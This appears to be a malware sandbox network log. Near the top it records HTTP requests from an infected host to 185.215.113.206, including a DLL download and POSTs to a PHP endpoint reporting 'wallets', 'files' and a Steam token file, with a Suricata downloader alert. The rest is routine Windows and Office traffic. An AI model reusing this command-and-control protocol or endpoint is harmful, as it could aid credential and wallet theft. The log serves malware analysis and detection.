Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGHCGCBKFIECBFHIDGHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJJEHCBAKFBFHJKFBKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 2d 2d 0d 0a Data Ascii: ------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="message"wallets------CBKJJEHCBAKFBFHJKFBK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKJDGCGDAKFHIDBGCBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 42 2d 2d 0d 0a Data Ascii: ------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------EHJKJDGCGDAKFHIDBGCBContent-Disposition: form-data; name="message"files------EHJKJDGCGDAKFHIDBGCB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="file"------GCGHCBKFCFBFHIDHDBFC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJJKKJJDAAAAAKFHJJDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 2d 2d 0d 0a Data Ascii: ------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------GIJJKKJJDAAAAAKFHJJDContent-Disposition: form-data; name="message"ybncbhylepme------GIJJKKJJDAAAAAKFHJJD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IJEGDBGDBFIJKECBAKFB--

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49760 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GSnk19rV29POzmc&MD=Cg38VFH8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GSnk19rV29POzmc&MD=Cg38VFH8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
